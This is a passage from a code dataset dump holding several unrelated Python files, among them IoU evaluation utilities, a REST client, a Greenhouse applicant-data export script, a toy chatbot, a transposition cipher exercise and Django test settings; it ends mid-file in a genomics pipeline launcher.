file_list_input_candidates.append(get_rel_path(full_file_path))\n if nr < 50:\n # use buffering to prevent performance issues when parsing very large numbers of files\n log_buffer = False\n else:\n if not nr % display_interval:\n log_buffer = False\n status_note(''.join((str(nr), ' files processed')), b=log_buffer)\n else:\n log_buffer = True\n # skip large files, config max file size in mb here\n if os.stat(full_file_path).st_size / 1024 ** 2 > 900:\n continue\n # deal with different input formats:\n file_extension = os.path.splitext(full_file_path)[1].lower()\n status_note(''.join(('processing ', os.path.join(root, file).replace('\\\\', '/'))), b=log_buffer)\n # new file / new source\n nr += 1\n # interact with different file formats:\n if file_extension == '.txt':\n if file.lower() == 'bagit.txt':\n CANDIDATES_MD_DICT[new_id] = {}\n CANDIDATES_MD_DICT[new_id][bagit_txt_file] = parse_bagitfile(full_file_path)\n elif file_extension == '.r':\n extract_from_candidate(new_id, full_file_path, output_format, output_mode, False, rule_set_r)\n MASTER_MD_DICT['codefiles'].append(get_rel_path(full_file_path))\n elif file_extension == '.rmd':\n extract_from_candidate(new_id, full_file_path, output_format, output_mode, True, rule_set_rmd_multiline)\n parse_temporal(new_id, full_file_path, None, None)\n elif file_extension == '.rdata':\n MASTER_MD_DICT['r_rdata'].append({'file': file,\n 'filepath': get_rel_path(full_file_path),\n 'rdata_preview': get_rdata(full_file_path)})\n elif file_extension == '.html':\n MASTER_MD_DICT['viewfiles'].append(get_rel_path(full_file_path))\n else:\n parse_spatial(full_file_path, file_extension)\n status_note(''.join((str(nr), ' files processed')))\n # pool MD and find best most complete set:\n best = best_candidate(CANDIDATES_MD_DICT)\n # we have a candidate best suited for main output\n # now merge data_dicts, take only keys that are present in \"MASTER_MD_DICT\":\n for key in best:\n if key in MASTER_MD_DICT:\n MASTER_MD_DICT[key] = best[key]\n # Make final adjustments on the master dict before output:\n # \\ Add spatial from candidates:\n if 'spatial' in MASTER_MD_DICT and 'global_spatial' in CANDIDATES_MD_DICT:\n MASTER_MD_DICT['spatial'] = CANDIDATES_MD_DICT['global_spatial']\n # \\ Fix and complete author element, if existing:\n if 'author' in MASTER_MD_DICT:\n if type(MASTER_MD_DICT['author']) is str:\n # this means there is only one author from yaml header in best candidate\n new_author_listobject = []\n author_element = {'name': MASTER_MD_DICT['author']}\n if 'orcid' in MASTER_MD_DICT:\n author_element.update({'orcid': MASTER_MD_DICT['orcid']})\n MASTER_MD_DICT.pop('orcid')\n new_author_listobject.append(author_element)\n MASTER_MD_DICT['author'] = new_author_listobject\n if type(MASTER_MD_DICT['author']) is list:\n # fix affiliations\n for author_key in MASTER_MD_DICT['author']:\n if 'affiliation' not in author_key:\n author_key.update({'affiliation': []})\n else:\n # 'author' element ist missing, create empty dummy:\n MASTER_MD_DICT['author'] = []\n # \\ Try to still get doi, if None but title and author name available\n if MASTER_MD_DICT['identifier']['doi'] is None:\n if MASTER_MD_DICT['title'] is not None and MASTER_MD_DICT['author'][0]['name'] is not None:\n MASTER_MD_DICT['identifier']['doi'] = get_doi_http(MASTER_MD_DICT['title'], MASTER_MD_DICT['author'][0])\n # also add url if get doi was successful\n if MASTER_MD_DICT['identifier']['doi'] is not None:\n MASTER_MD_DICT['identifier']['doiurl'] = ''.join(('https://doi.org/', MASTER_MD_DICT['identifier']['doi']))\n # \\ Fix and default publication date if none\n if 'publicationDate' in MASTER_MD_DICT:\n if MASTER_MD_DICT['publicationDate'] is None:\n MASTER_MD_DICT['publicationDate'] = datetime.datetime.today().strftime('%Y-%m-%d')\n # \\ Add viewfiles if mainfile rmd exists\n if 'viewfiles' in MASTER_MD_DICT:\n # find main file name without ext\n if not MASTER_MD_DICT['viewfiles']:\n if 'file' in MASTER_MD_DICT:\n if 'filepath' in MASTER_MD_DICT['file']:\n if MASTER_MD_DICT['file']['filepath'] is not None:\n if MASTER_MD_DICT['file']['filepath'].lower().endswith('.rmd'):\n if os.path.isfile(MASTER_MD_DICT['file']['filepath']):\n main_file_name, file_extension = os.path.splitext(MASTER_MD_DICT['file']['filepath'])\n if os.path.isfile(''.join((main_file_name, '.html'))):\n MASTER_MD_DICT['viewfiles'].append(''.join((main_file_name, '.html')))\n # \\ Fix and complete paperSource element, if existing:\n if 'paperSource' in MASTER_MD_DICT:\n MASTER_MD_DICT['paperSource'] = guess_paper_source()\n # Process output\n if output_mode == '@s' or output_dir is None:\n # write to screen\n output_extraction(MASTER_MD_DICT, output_format, output_mode, None)\n else:\n # write to file\n output_extraction(MASTER_MD_DICT, output_format, output_mode, os.path.join(output_dir, main_metadata_filename))\n get_ercspec_http(output_dir)\n # Write erc.yml according to ERC spec:\n #ercyml_write(output_dir)\n","sub_path":"extract/metaextract.py","file_name":"metaextract.py","file_ext":"py","file_size_in_byte":41605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"119166839","text":"\"\"\"\nThe functions in this script are my attempt at manually calculating mean IoU \nin a way that matches the Cityscapes dataset implementation.\n\nVariations of mean IoU score \n micro: True positives, false positives, and false negatives are computed globally\n macro: True positives, false positives, and false negatives are computed for each class\n and their unweighted mean is returned\n weighted: Metrics are computed for each class and returns the mean weighted by the \n number of true instances in each class \n \nAfter comparing my calculations with tf.keras.metrics.MeanIoU(), they didn't quite match.\n\nSo for evaluation calculations I am using tf.keras.metrics.MeanIoU() instead \n\n\"\"\"\n\n\nimport numpy as np\nimport tensorflow as tf\n\nn_classes = 20\n\n\n# https://github.com/pikabite/segmentations_tf2/blob/master/configs/cityscape_hrnet.yaml\n# do tf.constant instead of np.array when using inside loss function\n# Not sure how these class weights are calculated\nclass_weights = np.array([0.8373, 0.918, 0.866, 1.0345, 1.0166, 0.9969, 0.9754, 1.0489,\n 0.8786, 1.0023, 0.9539, 0.9843, 1.1116, 0.9037, 1.0865, 1.0955, \n 1.0865, 1.1529, 1.0507])\n\n\ndef get_mean_iou(y_true, y_pred):\n \"\"\"IOU = TP / (TP + FN + FP)\"\"\"\n \n threshold = tf.math.reduce_max(y_pred, axis=-1, keepdims=True)\n # make sure [0, 0, 0] doesn't become [1, 1, 1]\n # Use abs(x) > eps, instead of x != 0 to check for zero\n y_pred = tf.logical_and(y_pred >= threshold, tf.abs(y_pred) > 1e-12)\n\n y_true = tf.cast(y_true, tf.float32)\n y_pred = tf.cast(y_pred, tf.float32)\n\n TP = tf.math.reduce_sum(y_pred[:,:,:,1:] * y_true[:,:,:,1:])\n FN = tf.math.reduce_sum(y_true[:,:,:,1:] * (1 - y_pred[:,:,:,1:])) \n FP = tf.math.reduce_sum(y_pred[:,:,:,1:] * (1 - y_true[:,:,:,1:]))\n \n mean_iou_micro = tf.math.divide_no_nan(TP, TP + FN + FP)\n \n iou_class = np.zeros((n_classes-1,))\n iou_class_weighted = np.zeros((n_classes-1,))\n \n for i in range(1, n_classes):\n tp = tf.math.reduce_sum(y_pred[:,:,:,i] * y_true[:,:,:,i])\n fn = tf.math.reduce_sum(y_true[:,:,:,i] * (1 - y_pred[:,:,:,i])) \n fp = tf.math.reduce_sum(y_pred[:,:,:,i] * (1 - y_true[:,:,:,i])) \n denominator = tp+fn+fp\n # The mean is only computed over classes that appear in the\n # label or prediction tensor. If the denominator is 0, we need to\n # ignore the class. \n if denominator != 0:\n iou = tf.math.divide_no_nan(tp, denominator)\n iou_class[i-1] = iou\n iou_class_weighted[i-1] = iou * class_weights[i-1]\n else:\n # We need to differentiate between the class scores that are\n # zero because the IoU is zero, and the class scores that \n # we are ignoring\n iou_class[i-1] = -1\n \n mean_iou_macro = np.mean(iou_class[iou_class != -1])\n mean_iou_weighted = np.mean(iou_class_weighted[iou_class_weighted != -1])\n \n return iou_class, mean_iou_micro.numpy(), mean_iou_macro, mean_iou_weighted\n\n\ndef evaluate_iou(model, dataset, n_samples):\n \n iou_class_scores = np.zeros((n_samples, n_classes-1))\n iou_micro_scores = np.zeros((n_samples,))\n iou_macro_scores = np.zeros((n_samples,))\n iou_weighted_scores = np.zeros((n_samples,))\n \n inf_times = np.zeros((n_samples, ))\n \n for idx, (image, mask) in enumerate(dataset):\n print(\"\\r Predicting {} \\ {} \".format(idx+1, n_samples), end='')\n \n X = np.expand_dims(image.numpy(), axis=0)\n y_true = np.expand_dims(mask.numpy(), axis=0)\n \n t_start = time.time()\n y_pred = model.predict(X)\n \n t_end = time.time()\n t_inf = t_end-t_start\n \n inf_times[idx] = t_inf\n \n if model.name == \"u2net\":\n y_pred = y_pred[0]\n y_pred = tf.image.resize(y_pred, (1024, 2048))\n \n iou_class, iou_micro, iou_macro, iou_weighed = get_mean_iou(y_true, y_pred)\n iou_class_scores[idx] = iou_class\n iou_micro_scores[idx] = iou_micro\n iou_macro_scores[idx] = iou_macro\n iou_weighted_scores[idx] = iou_weighed\n \n if idx == (n_samples-1):\n break\n \n print(\"Average inference time: {:.2f}s\".format(np.mean(inf_times)))\n \n return iou_class_scores, np.mean(iou_micro_scores), iou_macro_scores, iou_weighted_scores","sub_path":"utils/eval_utils.py","file_name":"eval_utils.py","file_ext":"py","file_size_in_byte":4440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"252341013","text":"\nfrom django_elasticsearch_dsl import Document\nfrom django_elasticsearch_dsl.registries import registry\nfrom .models import EmailRecords\n\n\n@registry.register_document\nclass EmailDocument(Document):\n class Index:\n # Name of the Elasticsearch index\n name = 'emails'\n # See Elasticsearch Indices API reference for available settings\n settings = {'number_of_shards': 1,\n 'number_of_replicas': 0}\n\n class Django:\n model = EmailRecords # The model associated with this Document\n\n # The fields of the model you want to be indexed in Elasticsearch\n fields = [\n 'subject',\n 'sender',\n 'recipients',\n 'message'\n ]","sub_path":"email_system/documents.py","file_name":"documents.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"270227560","text":"import requests\nimport json\nfrom os import listdir, getcwd\nfrom os.path import isfile, join, basename, exists\n\nimport settings\n\n\nclass DomainSchema:\n headers = {'content-type': 'application/json'}\n\n def __init__(self, environment):\n self.url = settings.SCHEMA[environment]['uri']\n\n def create_solution(self, solution):\n response = requests.post(\n url=self.url + 'solution/', data=json.dumps(solution), headers=self.headers)\n return response\n\n def get_app_id(self, solution_id, name):\n response = requests.get(\n url=self.url + 'app/{solution_id}/{name}'.format(solution_id=solution_id, name=name))\n response_json = response.json()\n if response.status_code == 200 and len(response_json) > 0:\n return response_json[0]['id']\n\n def create_app(self, app, solution, tag):\n new_app = self._get_app_from_config(app, solution)\n response = requests.post(\n url=self.url + 'app/', data=json.dumps(new_app), headers=self.headers)\n response_json = response.json()\n app['process_id'] = app['id']\n app['id'] = response_json['id']\n self.create_app_version(app, tag)\n return response_json\n\n def update_app(self, app_id, app, solution, tag):\n new_app = self._get_app_from_config(app, solution)\n new_app['id'] = app_id\n response = requests.put(url=self.url + 'app/{id}/'.format(id=new_app['id']),\n data=json.dumps(new_app),\n headers=self.headers)\n app['process_id'] = app['id']\n app['id'] = app_id\n app_updated = self.update_app_version(app, tag)\n if not app_updated:\n self.create_app_version(app, tag)\n return response.json()\n\n def create_app_version(self, app, tag):\n new_app_version = self._get_app_version_from_config(app, tag)\n new_app_version['app_id'] = app['id']\n response = requests.post(url=self.url + 'appversion/',\n data=json.dumps(new_app_version), headers=self.headers)\n return response.json()\n\n def update_app_version(self, app, tag):\n response = requests.get(url=f\"{self.url}appversion/{app['name']}/{app['version']}\")\n app_version = response.json()\n if response.status_code == 200 and len(app_version) > 0:\n app_version = app_version[0]\n app_version['version'] = app['version']\n app_version['tag'] = tag\n app_version['date_begin_validity'] = app['date_begin_validity']\n app_version['date_end_validity'] = app['date_end_validity']\n app_version['process_id'] = app['process_id']\n response = requests.put(url=f\"{self.url}appversion/{app_version['id']}/\",\n data=json.dumps(app_version), headers=self.headers)\n return response.json()\n\n def create_maps(self, app_name, app_version):\n payload = {'app': app_name, 'app_version': app_version}\n url = 'create/map/'\n response = self._upload_yamls('/Mapa/', url, payload)\n if response and response.status_code == 200:\n print('Maps uploaded')\n else:\n print('Maps not uploaded')\n\n def create_entity(self, solution):\n payload = {'solution': solution['name']}\n url = 'create/entity/'\n return self._upload_yamls('/Dominio/', url, payload)\n\n def _upload_yamls(self, path, url, payload):\n path = getcwd() + path\n if exists(path):\n files = self.__list_yaml_files(path)\n files = {(entity, open(path + entity, 'rb')) for entity in files}\n response = requests.post(url=self.url + url, data=payload, files=files)\n return response\n\n # refact to shared\n def __list_yaml_files(self, path):\n return [f for f in listdir(path) if isfile(join(path, f)) and (f.endswith('.yaml') or f.endswith('.yml'))]\n\n def _get_app_version_from_config(self, app, tag):\n return {\n 'version': app['version'],\n 'tag': tag,\n 'date_begin_validity': app['date_begin_validity'],\n 'date_end_validity': app['date_end_validity'],\n 'process_id': app['process_id'],\n }\n\n def _get_app_from_config(self, app, solution):\n return {\n 'name': app['name'],\n 'solution_id': solution['id_domain'],\n 'container': app['container'],\n 'type': app['type'],\n 'technology': app['tecnology'],\n 'version': app['version'],\n }\n","sub_path":"domain/domain_schema.py","file_name":"domain_schema.py","file_ext":"py","file_size_in_byte":4600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"113579500","text":"import pandas as pd\nimport json\nimport numpy as np\nimport requests\n\ndef searchData(df):\n\tprompt = True\n\t#asks user whether or not they would like to use the search feature\n\twhile prompt == True:\n\t\tanswer = input('Would you like to search terms within the data? (y/n): ')\n\t\tif answer == 'y' or answer == \"Y\" :\n\t\t\tprint('Starting Search Function...')\n\t\t\tisSearching = True\n\t\t\tprompt=False\n\t\telif answer == 'n' or answer == 'N':\n\t\t\tprint('exiting program...')\n\t\t\tisSearching = False\n\t\t\tprompt=False\n\t\telse:\n\t\t\tprint(\"please type 'y' or 'n'\") #if input not 'y' or 'n' goes back through while loop\n\twhile isSearching == True:\n\t\tsearch_term = input('Type x to terminate. Enter the term you would like to search: ')\n\t\tsearch_term = search_term.lower()\n\t\tcount=0\n\t\tif search_term == 'x':\n\t\t\t\tisSearching = False #typing the string 'x' exits the program\n\t\t\t\tprint('exiting program...')\n\t\tfor i in df['Source']: #first checks source to see if it is one of the most common terms\n\t\t\ti = i.__str__()\n\t\t\ti = i.lower()\n\t\t\tif search_term in i:\n\t\t\t\tcount+=1\n\t\tif count<=20:\n\t\t\tfor i in df['Answer']: #then checks the answer to the question if it is more unique\n\t\t\t\ti = i.__str__()\n\t\t\t\ti = i.lower()\n\t\t\t\tif search_term in i:\n\t\t\t\t\tcount+=1\n\t\tif search_term != 'x':\n\t\t\tprint(count.__str__()+ ' occurrences') #number of times the term is in the data\n\ndef getAnswers(df):\n\t#retrieves answers to the question 'how did you hear about this job'\n\tlists = (df['answers'])\n\tresponse_list = []\n\tfor lst in lists:\n\t\tquestion_present = False\n\t\tfor i in lst:\n\t\t\tif 'How did you hear about this job?' in i.values() and i['answer'] != None and i['answer'] != '-' and i['answer'] != 'null' and i['answer']!='NaN':\n\t\t\t\tresponse_list.append(i['answer'])\n\t\t\t\tquestion_present= True\n\t\tif question_present == False:\n\t\t\tresponse_list.append('NaN')\n\treturn response_list\n\ndef main():\n\tharvestkey = input('Please paste your Greenhouse API key: ')\n\tdf2 = pd.DataFrame()\n\talldataread = False\n\tpagenumber = 1\n\tloadingnumber = 50\n\tprint('loading... 0/~500')\n\t'''\n\tcycles through pages of applicant data from the greenhouse API and\n\tcreates a data frame with columns Id, Application Date, Source, and Answer\n\t'''\n\twhile alldataread == False:\n\t\tif pagenumber%50 == 0:\n\t\t\tprint('loading... ' + loadingnumber.__str__() + '/~500') #allows user to see program is loading\n\t\t\tloadingnumber+=50\n\t\turltoread = \"https://harvest.greenhouse.io/v1/applications?page=\"+ pagenumber.__str__()\n\t\ttry: #grabs page with applicant data\n\t\t\tr = requests.get(urltoread, auth=(harvestkey,''))\n\t\texcept ConnectionError as e:\n\t\t\tprint(e)\n\t\tdata = r.json()\n\t\tnewdata = json.dumps(data)\n\t\tdf = pd.DataFrame.from_dict(pd.io.json.json_normalize(json.loads(newdata)), orient='columns')\n\t\tif df.empty: #checks if there is no data which indicates no more applicants\n\t\t\talldataread = True\n\t\t\tcontinue\n\t\ttempdf = pd.DataFrame()\n\t\ttempdf['Id'] = df['candidate_id']\n\t\ttempdf['Application Date'] = df['applied_at']\n\t\ttempdf['Source'] = df['source.public_name']\n\t\ttempdf['Answer'] = getAnswers(df)\n\t\tdf2 = df2.append(tempdf)\n\t\tpagenumber+=1\n\tdateslist = []\n\tfor i in df2['Application Date']:\n\t\tdateslist.append(i[0:10])\n\tdf2['Application Date'] = dateslist\n\tprint(df2)\n\tdf2.to_csv('GreenhouseData.csv') #converts dataframe to csv and saves is to the filename given\n\tprint(\"\"\"data saved as 'GreenhouseData.csv'\"\"\")\n\tsearchData(df2) #allows user to search their inputted strings\n\treturn 'program completed'\n\n\nif __name__ == '__main__':\n\tprint(main())\n","sub_path":"GreenhouseFinal.py","file_name":"GreenhouseFinal.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"262427320","text":"import random\n\n# --- Define your functions below! ---\ndef greet():\n print(\"---------------------------------------\")\n greetings = [\"Howdy!\", \"Hey, there!\", \"Hello!\", \"Hey man.\", \"What's poppin' Jimbo?\"]\n print(random.choice(greetings))\n name = input(\"What's your name?\")\n\n print(\"Hello %s! My name is Sally!\" %name)\n\ndef feeling():\n feelings = [\"happy!\", \"tired.\", \"just peachy!\", \"hungry!!!!!!\", \"quite fine\"]\n compfeels = random.choice(feelings)\n stories = [\"When the coder who coded this was walking to Morgan Stanley the other day, she totally got Regina Georged.\", \"WHAT IF I TOLD YOU I STOLE A CARDBOARD CUTOUT OF DANNY DEVITO?\", \"Once upon a time group of adevnturers went on an adventure to the fridge, they returned with cookies and milk. The end.\"]\n randomstories = random.choice(stories)\n feel = input(\"How are you feeling this fine afternoon?\")\n if feel.lower() == \"good\":\n print(\"So glad to hear that! I'm feeling\", compfeels)\n elif feel.lower() == \"bad\":\n story = input(\"I'm so sorry to hear that! Would you like for me to tell you a story to make you feel better? y/n: \")\n if story.lower() == \"y\" or story.lower() == \"yes\":\n print(randomstories)\n elif story.lower() == \"n\" or story.lower() == \"no\":\n print(\"Okay, I hope you feel better soon.\")\n else:\n print(\"SALLY DOES NOT UNDERSTAND SALLY GOES HOME NOW.\")\n\n else:\n print(\"Yeah, me too.\")\ndef talk():\n randomfoods = [\"Good choice! My favorite food is mac and cheese!\", \"I hate mayonnaise\", \"Soda makes my keys sticky\", \"Water makes me short circuit\"]\n foodopinion = random.choice(randomfoods)\n topic = input(\"What do you want to talk about? \")\n topic = topic.lower()\n if topic == \"food\":\n print(foodopinion)\n elif topic == \"colors\":\n color =input(\"What's your favorite color? \")\n if color.lower() == \"blue\":\n print(\"I also love blue! Especially the blue sky\")\n else:\n print(\"Nice!\")\n elif topic == 'music':\n genre = input(\"What music do you like? \")\n genre = genre.lower()\n if genre == \"pop\":\n print(\"Same! I like Billie Eilish and Ed Sheeran!\")\n elif genre == \"alternative\":\n print(\"Cool! I like Panic! At the Disco and the 1975!\")\n else:\n (\"Me too!\")\n else:\n print(\"Sounds cool!\")\n\n# --- Put your main program below! ---\ndef main():\n greet()\n feeling()\n while True:\n talk()\n\n\n\n# DON'T TOUCH! Setup code that runs your main() function.\nif __name__ == \"__main__\":\n main()\n","sub_path":"Weeks 1-3/chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"144916527","text":"print(\"Enter string to be encrypted:\",end=' ')\ns1=list(input())\n\nprint(\"Enter encryption key:\",end=' ')\ndec=[0]+[int(n) for n in input().split()]\nenc=[0]*len(dec)\nfor i in range(1,len(dec)):\n\tenc[dec[i]]=i\ns1+=[chr(2)]*(5-len(s1)%5)\n\nprint(\"Encryption Key:\",enc[1:])\nprint(\"Decryption Key:\",dec[1:])\ns1Mat=[[]]*(len(s1)//(len(dec)-1))\n\nfor i in range(0,len(s1Mat)):\n\ts1Mat[i]=s1[i*5:(i+1)*5]\n\n\nencStr=[0]*(len(enc)-1)\n\nfor i in range(0,len(enc)-1):\n\tencStr[enc[i+1]-1]=[]\n\tfor j in range(0,len(s1Mat)):\n\t\tencStr[enc[i+1]-1]+=(s1Mat[j][i])\n\nencStrFin=\"\"\nfor elem in encStr:\n\tencStrFin+=\"\".join(elem)\nprint(\"String after encryption: \",encStrFin.upper())\n\n\nencStrFin=list(encStrFin)\nencStrMat=[0]*(len(encStrFin)//(len(dec)-1))\nk=0\nfor i in range(0,len(encStrMat)):\n\tencStrMat[i]=[0]*(len(dec)-1)\nfor i in range(0,len(dec)-1):\n\tfor j in range(0,len(s1Mat)):\n\t\tencStrMat[j][i]=encStrFin[k]\n\t\tk+=1\n\t\t\ndecStr=[0]*(len(dec)-1)\nfor i in range(0,len(dec)-1):\n\tdecStr[dec[i+1]-1]=[]\n\tfor j in range(0,len(encStrMat)):\n\t\tdecStr[dec[i+1]-1]+=(encStrMat[j][i])\n#print(decStr)\ndecStrFin=\"\"\nfor i in range(0,len(decStr[0])):\n\tfor j in range(0,len(decStr)):\n\t\tdecStrFin+=decStr[j][i]\nprint(\"String after decryption: \",decStrFin)\n\ndecStrFin=decStrFin[:decStrFin.find(chr(2))]\nprint(\"String after stripping: \",decStrFin)\n\n# Output:\n\n# F:\\OneDrive\\Academics\\KJSCE Stuff\\Sem 7\\CSS\\Practicals\\Expt 1 - Ciphering>python transpositionCipher1411113.py\n# Enter string to be encrypted: theenemyattackstonight\n# Enter encryption key: 3 1 4 5 2\n# Encryption Key: [2, 5, 1, 3, 4]\n# Decryption Key: [3, 1, 4, 5, 2]\n# String after encryption: EYCN\u0002TETTHEAKI\u0002NTSG\u0002HMAOT\n# String after decryption: theenemyattackstonight\u0002\u0002\u0002\n# String after stripping: theenemyattackstonight","sub_path":"Cryptography/Basic Encryption/transpositionCipher1411113.py","file_name":"transpositionCipher1411113.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"524372497","text":"import os\ncurrent_path = os.path.abspath(os.path.curdir)\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': 'test.db',\n }\n}\nUSE_TZ = True\nSITE_ID = 1\nSECRET_KEY = 'keepitsecretkeepitsafe'\n\nROOT_URLCONF = 'test_app.urls'\nSTATIC_URL = '/static/'\nMEDIA_ROOT = '%s/files' % current_path\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django_nose',\n 'south',\n 'compressor',\n 'django_extensions',\n 'django_jinja',\n 'mptt',\n 'class_based_auth_views',\n 'password_reset',\n 'crispy_forms',\n 'accounts',\n 'base',\n 'tools',\n 'hubs',\n)\n\nTEST_RUNNER = 'django_nose.NoseTestSuiteRunner'\nNOSE_ARGS = ('--nocapture', )\nSOUTH_TESTS_MIGRATE = False\nCELERY_ALWAYS_EAGER = True\n\nCOMPRESS_ROOT = STATIC_URL\n","sub_path":"test_app/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"544516345","text":"\"\"\"You are given an array of integers representing coordinates of obstacles\nsituated on a straight line.\n\nAssume that you are jumping from the point with coordinate 0 to the right.\nYou are allowed only to make jumps of the same length represented by some integer.\n\nFind the minimal length of the jump enough to avoid all the obstacles.\n\nExample\n\nFor inputArray = [5, 3, 6, 7, 9], the output should be\navoidObstacles(inputArray) = 4.\"\"\"\n\n\n# newbie -Zimbra\ndef avoidObstacles(inputArray):\n inputArray.sort()\n for jump in range(2, max(inputArray) + 2):\n s = 0\n while s <= max(inputArray):\n resp = True\n s += jump\n if s in inputArray:\n resp = False\n break\n if resp:\n return jump\n\n\nprint(avoidObstacles([5, 8, 9, 13, 14]))\n","sub_path":"CodeFights.com/aviodObstacles.py","file_name":"aviodObstacles.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"384919295","text":"#!/usr/bin/env python3\n\"\"\"{PIPELINE_NAME} pipeline (version: {PIPELINE_VERSION}): creates\npipeline-specific config files to given output directory and runs the\npipeline (unless otherwise requested).\n\"\"\"\n# generic usage {PIPELINE_NAME} and {PIPELINE_VERSION} replaced while\n# printing usage\n\n#--- standard library imports\n#\nimport sys\nimport os\nimport argparse\nimport logging\n\n#--- third-party imports\n#\nimport yaml\n\n#--- project specific imports\n#\n# add lib dir for this pipeline installation to PYTHONPATH\nLIB_PATH = os.path.abspath(\n os.path.join(os.path.dirname(os.path.realpath(__file__)), \"..\", \"..\", \"..\", \"lib\"))\nif LIB_PATH not in sys.path:\n sys.path.insert(0, LIB_PATH)\nfrom readunits import get_samples_and_readunits_from_cfgfile\nfrom readunits import get_readunits_from_args\nfrom pipelines import get_pipeline_version\nfrom pipelines import PipelineHandler\nfrom pipelines import get_site\nfrom pipelines import logger as aux_logger\nfrom pipelines import get_cluster_cfgfile\n\n__author__ = \"Andreas Wilm\"\n__email__ = \"wilma@gis.a-star.edu.sg\"\n__copyright__ = \"2016 Genome Institute of Singapore\"\n__license__ = \"The MIT License (MIT)\"\n\n\n# only dump() and following do not automatically create aliases\nyaml.Dumper.ignore_aliases = lambda *args: True\n\n\nPIPELINE_BASEDIR = os.path.dirname(sys.argv[0])\nCFG_DIR = os.path.join(PIPELINE_BASEDIR, \"cfg\")\n\n# same as folder name. also used for cluster job names\nPIPELINE_NAME = \"SG10K\"\n\nDEFAULT_SLAVE_Q = {'GIS': None,\n 'NSCC': 'production'}\nDEFAULT_MASTER_Q = {'GIS': None,\n 'NSCC': 'production'}\n\nMARK_DUPS = True\n\n# global logger\nlogger = logging.getLogger(__name__)\nhandler = logging.StreamHandler()\nhandler.setFormatter(logging.Formatter(\n '[{asctime}] {levelname:8s} {filename} {message}', style='{'))\nlogger.addHandler(handler)\n\n\ndef main():\n \"\"\"main function\n \"\"\"\n\n parser = argparse.ArgumentParser(description=__doc__.format(\n PIPELINE_NAME=PIPELINE_NAME, PIPELINE_VERSION=get_pipeline_version()))\n\n # generic args\n parser.add_argument('-o', \"--outdir\", required=True,\n help=\"Output directory (must not exist)\")\n parser.add_argument('--name',\n help=\"Give this analysis run a name (used in email and report)\")\n parser.add_argument('--no-mail', action='store_true',\n help=\"Don't send mail on completion\")\n site = get_site()\n default = DEFAULT_SLAVE_Q.get(site, None)\n parser.add_argument('-w', '--slave-q', default=default,\n help=\"Queue to use for slave jobs (default: {})\".format(default))\n default = DEFAULT_MASTER_Q.get(site, None)\n parser.add_argument('-m', '--master-q', default=default,\n help=\"Queue to use for master job (default: {})\".format(default))\n parser.add_argument('-n', '--no-run', action='store_true')\n parser.add_argument('-v', '--verbose', action='count', default=0,\n help=\"Increase verbosity\")\n parser.add_argument('-q', '--quiet', action='count', default=0,\n help=\"Decrease verbosity\")\n cfg_group = parser.add_argument_group('Configuration files (advanced)')\n cfg_group.add_argument('--prev-cfg',\n help=\"Previously used config. Also used to infer path to precalculated BAM files\")\n for name, descr in [(\"references\", \"reference sequences\"),\n (\"params\", \"parameters\"),\n (\"modules\", \"modules\")]:\n default = os.path.abspath(os.path.join(CFG_DIR, \"{}.yaml\".format(name)))\n cfg_group.add_argument('--{}-cfg'.format(name),\n default=default,\n help=\"Config-file (yaml) for {}. (default: {})\".format(descr, default))\n\n # pipeline specific args\n #parser.add_argument('-1', \"--fq1\", nargs=\"+\",\n # help=\"FastQ file/s (gzip only).\"\n # \" Multiple input files supported (auto-sorted).\"\n # \" Note: each file (or pair) gets a unique read-group id.\"\n # \" Collides with --sample-cfg.\")\n #parser.add_argument('-2', \"--fq2\", nargs=\"+\",\n # help=\"FastQ file/s (if paired) (gzip only). See also --fq1\")\n #parser.add_argument('-s', \"--sample\",\n # help=\"Sample name. Collides with --sample-cfg.\")\n #parser.add_argument('-t', \"--seqtype\", required=True,\n # choices=['WGS', 'WES', 'targeted'],\n # help=\"Sequencing type\")\n #parser.add_argument('-l', \"--bed\",\n # help=\"Bed file listing regions of interest.\"\n # \" Required for WES and targeted sequencing.\")\n\n args = parser.parse_args()\n\n # Repeateable -v and -q for setting logging level.\n # See https://www.reddit.com/r/Python/comments/3nctlm/what_python_tools_should_i_be_using_on_every/\n # and https://gist.github.com/andreas-wilm/b6031a84a33e652680d4\n # script -vv -> DEBUG\n # script -v -> INFO\n # script -> WARNING\n # script -q -> ERROR\n # script -qq -> CRITICAL\n # script -qqq -> no logging at all\n logger.setLevel(logging.WARN + 10*args.quiet - 10*args.verbose)\n aux_logger.setLevel(logging.WARN + 10*args.quiet - 10*args.verbose)\n\n if os.path.exists(args.outdir):\n logger.fatal(\"Output directory %s already exists\", args.outdir)\n sys.exit(1)\n\n\n # samples is a dictionary with sample names as key (mostly just\n # one) and readunit keys as value. readunits is a dict with\n # readunits (think: fastq pairs with attributes) as value\n #if args.sample_cfg:\n # if any([args.fq1, args.fq2, args.sample]):\n # logger.fatal(\"Config file overrides fastq and sample input arguments.\"\n # \" Use one or the other\")\n # sys.exit(1)\n # if not os.path.exists(args.sample_cfg):\n # logger.fatal(\"Config file %s does not exist\", args.sample_cfg)\n # sys.exit(1)\n # samples, readunits = 